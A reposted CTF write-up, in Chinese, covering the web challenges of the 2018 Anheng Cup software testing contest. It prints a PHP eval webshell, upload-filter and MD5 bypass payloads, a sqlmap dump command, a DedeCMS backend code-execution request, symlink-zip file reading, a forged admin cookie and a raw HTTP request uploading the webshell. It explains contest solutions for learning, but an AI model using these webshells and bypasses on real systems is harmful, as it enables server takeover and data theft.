2018全国大学生软件测试大赛-安恒杯Web测试大赛write up

第一次写,可能会有遗漏疏忽之处,还请海涵Orz。

常规操作

常规操作,试一试 http://114.55.36.69:8009/
只允许上传jpg、png、gif、rar、zip文件类型!

看到zip于是猜测是phar://伪协议读取。

于是写个小马打包成zip文件传上去。

例如我写的是south.php

<?php
    @eval($_POST['south']);
?>

然后压缩成south.zip,那么需要访问以下链接。

http://114.55.36.69:8009/index.php?url=phar://upload/5a722d46033ecd25d5ce0f13a0e7d8ec.zip/south

随后连接小马,读到flag。

送分的md5

怎么还有md5 http://114.55.36.69:8000
md5 crash?<!--$_POST['data1']!== $_POST['data2']&&md5($_POST['data1'])===md5($_POST['data2'] -->fail

很简单的MD5绕过,构造如下payload

data1[]=QNKCDZO&data2[]=s1091221200a

!!!A_A

!!!A_A !!!-_- http://114.55.36.69:8001/
<?php
highlight_file(__FILE__);
ini_set("display_error", false);  
error_reporting(0);  
$str = isset($_GET['A_A'])?$_GET['A_A']:'A_A';
if (strpos($_SERVER['QUERY_STRING'], "A_A") !==false) {
    echo 'A_A,have fun';
}
elseif ($str<9999999999) {
    echo 'A_A,too small';
}
elseif ((string)$str>0) {
    echo 'A_A,too big';
}
else{
    echo file_get_contents('flag.php');

}

?> A_A,too small

这题考过很多次了。

这里的知识点是当代码中存在$_REQUEST['user_id']里面类似的参数的时候,使用" "、"["、"+"、"."这样的符号的时候回自动转化成"_"从而造成绕过。 例如构造一个?user_id=1&user.id=2 那么waf检测到的就是2而插入数据库的却是1。

而数组比所有数字都大,而字符串在强转比较的时候为0,因此构造如下payload。

?A.A[]=a

得到flag

简单文件上传

简单文件上传,多试试 http://114.55.36.69:8015

尝试多次,发现是检测文件头来判断文件类型,那么使用图马可以绕过上传限制。

命名为south.jpg.php可以成功上传。

提示如下。

uploads/17d4aa23e1d7c8cf1c176485d71effe7b35bdec3/south.peg.php succesfully uploaded!

然后连接图马就可以读flag了。

新的新闻搜索

这个直接用sqlmappost注入就可以了【因为懒得手注】。

python sqlmap.py -r 1.txt -D news —dump

也不再做过度赘述。

真的是dedecms

放出来好几天的东西,随便玩玩 http://114.55.36.69:8008

参考DedeCMS V5.7 SP2后台存在代码执行漏洞。

后台admin弱密码。

http://114.55.36.69:8008/dede/tpl.php?action=upload

在页面源代码中获取到token值。

<input name='token' type='hidden' value='9ffadcfa24f99fb459bdab3cae23b0b2'  />
http://114.55.36.69:8008/dede/tpl.php?filename=moonsec.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=9ffadcfa24f99fb459bdab3cae23b0b2

然后就能用如下页面连接小马。

http://114.55.36.69:8008/include/taglib/moonsec.lib.php

get flag

flag在/etc/flag http://114.55.36.69:8003/

admin弱密码登陆。

提示如下。

Welcome admin 退出查看压缩的flag. 路径为 /etc/flag

大概是会解压传上去的压缩文件,然后读取里面的内容。

于是使用ln软连接。

ln -s /etc/flag test
zip -y 1.zip test

然后上传打包后的软连接文件得到flag

不一样的上传系统

http://114.55.36.69:8002/

似乎是新瓶装旧酒的原题,安恒一月月赛的题目,不再做过多赘述。

一叶飘零师傅的博客有讲述。

这里抄【并改一下原话】。

Apache存在解析漏洞。Apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断。

所以我们准备脚本south.php.png小马压缩成压缩包上传即可拿到shell,我们的png会被解析为php。

但是这里有一个小绕过,因为会删除带有php的文件。

但是这里过滤不严谨,PHP大写即可绕过,最后成功拿到shell,获得flag。

所以最终写小马重命名并打包上传south1.PHP.png.zip,然后得到路径。

/upload/cf417e3635d8414f1621a0e945a68702/south1.PHP.png
/upload/cf417e3635d8414f1621a0e945a68702/__MACOSX/._south1.PHP.png

连接就可以得到最终的flag

不一般的注入

太菜了,这题没做出来Orz。

秘密的系统

不久前才开发的系统,功能也还不完善,代码也还有待改进 http://114.55.36.69:8014/

看到一个Upload

点进去提示您不是管理员,无法使用此功能

登陆界面也不能正常访问。

习惯性的翻看robots.txt得到如下信息。

User-agent: *
Disallow: index.php?r=site/loginuser_1

于是进入登录界面。

 <!--
*** author: cib_zhinianyuxin.com
*** code: github.com
-->

给出了作者github的一些信息。

翻看github,得到一个登陆账号密码test/cib_sec,以及cookie生成的方法。

secret-system
##README.md

*** author: cib_zhinianyuxin.com

It's just a system which is not completed , there are some tips:

you can use test/cib_sec to login ,but you are not admin!
only admin can upload file ,but whichone can not bypass my rules.
/**
$sign = array(
                    'id'=>$model->id,
                    'name'=>$model->username,
                    'sign'=>md5($model->id.$model->username),
                );
$_COOKIE['cib'] = serialize($sign);
**/

登陆测试账号后,Google插件EditThisCookie可以查看该账号的cib cookieurl编码的。

a%3A3%3A%7Bs%3A2%3A%22id%22%3Bi%3A2%3Bs%3A4%3A%22name%22%3Bs%3A4%3A%22test%22%3Bs%3A4%3A%22sign%22%3Bs%3A32%3A%227cbab5cea99169139e7e6d8ff74ebb77%22%3B%7D
a:3:{s:2:"id";i:2;s:4:"name";s:4:"test";s:4:"sign";s:32:"7cbab5cea99169139e7e6d8ff74ebb77";}

解码后发现可以构造cib cookie,改i1testadmin,最后的md5编码1.admin得到6c5de1b510e8bdd0bc40eff99dcd03f8,于是得到如下cookie

a:3:{s:2:"id";i:1;s:4:"name";s:5:"admin";s:4:"sign";s:32:"6c5de1b510e8bdd0bc40eff99dcd03f8";}

url编码后修改cookie

%61%3a%33%3a%7b%73%3a%32%3a%22%69%64%22%3b%69%3a%31%3b%73%3a%34%3a%22%6e%61%6d%65%22%3b%73%3a%35%3a%22%61%64%6d%69%6e%22%3b%73%3a%34%3a%22%73%69%67%6e%22%3b%73%3a%33%32%3a%22%36%63%35%64%65%31%62%35%31%30%65%38%62%64%64%30%62%63%34%30%65%66%66%39%39%64%63%64%30%33%66%38%22%3b%7d

然后成功升级成为管理员。

一个文件上传。

Apache2.2.15漏洞解析。

上传文件抓包改后缀名为.php.jpg

POST /web/index.php?r=upload%2Fupload HTTP/1.1
Host: 114.55.36.69:8014
Content-Length: 332
Cache-Control: max-age=0
Origin: http://114.55.36.69:8014
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUAu1gUcre21NULzR
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://114.55.36.69:8014/web/index.php?r=upload%2Findex
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Cookie: _csrf=ZrheCWNLhMGJ84x9lHiPaGGspHQBAJU_; _csrf_name_7ace9e0d=d13170c019575cfa3f28e142a6c066ad; _csrf_name_7ace9e0d__ckMd5=1725411428d3c49a; cib=%61%3a%33%3a%7b%73%3a%32%3a%22%69%64%22%3b%69%3a%31%3b%73%3a%34%3a%22%6e%61%6d%65%22%3b%73%3a%35%3a%22%61%64%6d%69%6e%22%3b%73%3a%34%3a%22%73%69%67%6e%22%3b%73%3a%33%32%3a%22%36%63%35%64%65%31%62%35%31%30%65%38%62%64%64%30%62%63%34%30%65%66%66%39%39%64%63%64%30%33%66%38%22%3b%7d; PHPSESSID=mq4vqc5002uti92f8t4gknh9l6
Connection: close

------WebKitFormBoundaryUAu1gUcre21NULzR
Content-Disposition: form-data; name="upload_file"; filename="south.php.jpg"
Content-Type: text/php

<?php
    @eval($_POST['south']);
    ?>

------WebKitFormBoundaryUAu1gUcre21NULzR
Content-Disposition: form-data; name="submit"

ä¸Šä¼ 
------WebKitFormBoundaryUAu1gUcre21NULzR--

最后连接小马得到flag

原文发布于微信公众号 - 安恒网络空间安全讲武堂(cyberslab)

原文发表时间:2018-11-06

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏zhisheng

RESTful API 设计规范

该仓库整理了目前比较流行的 RESTful api 设计规范,为了方便讨论规范带来的问题及争议,现把该文档托管于 Github,欢迎大家补充!!

38930
来自专栏北京马哥教育

linux系统性能监控与优化(3)–memory

虚拟内存以页的方式管理,一般为4K,如果配置了大页,则为2M The Page Frame Reclaim Algorithm.(PFRA) ...

39270
来自专栏后端技术探索

几种web并行化编程实现

当网站做到一定规模的时候,web单个页面需要涉及到的业务也会越来越多,每个页面可能会向后端发起几个、十几个甚至几十个请求。对于java、python之类的支持多...

14930
来自专栏高性能服务器开发

(三)一个服务器程序的架构介绍

本文将介绍我曾经做过的一个项目的服务器架构和服务器编程的一些重要细节。 一、程序运行环境 操作系统:centos 7.0 编译器:gcc/g++ 4.8.3 c...

38270
来自专栏猿人谷

使用bash编写Linux shell脚本--调试和版本控制

当我还在布鲁克大学上学的时候, Macquarium 实验室中充满了苹果公司的 Macintosh Plus 电脑。一天,我在为第三年的操作系统课程准备一个程序...

516110
来自专栏玄魂工作室

Python黑帽编程1.5 使用Wireshark练习网络协议分析

1.5.0.1 本系列教程说明 本系列教程,采用的大纲母本为《Understanding Network Hacks Attack and Defense w...

396100
来自专栏安恒网络空间安全讲武堂

护网杯easy laravel ——Web菜鸡的详细复盘学习

复现让我发现了很多读wp以为懂了动手做的时候却想不通的漏掉的知识点(还是太菜orz),也让我对这道题解题逻辑更加理解。所以不要怂,就是干23333!

31730
来自专栏腾讯大数据的专栏

网卡收包流程

0.前言 为提升信鸽基础服务质量,笔者就网络收包全流程进行了内容整理。 网络编程中我们接触得比较多的是socket api和epoll模型,对于系统内核和网卡驱...

2.5K140
来自专栏逸鹏说道

2.并发编程~先导篇(下)

代码实例:https://github.com/lotapp/BaseCode/tree/master/python/5.concurrent/Linux/进程...

14440
来自专栏Seebug漏洞平台

CVE-2017-16943 Exim UAF漏洞分析--后续

作者:Hcamael@知道创宇404实验室 上一篇分析出来后,经过@orange的提点,得知了meh公布的PoC是需要特殊配置才能触发,所以我上一篇分析文章最后...

33060

扫码关注云+社区

领取腾讯云代金券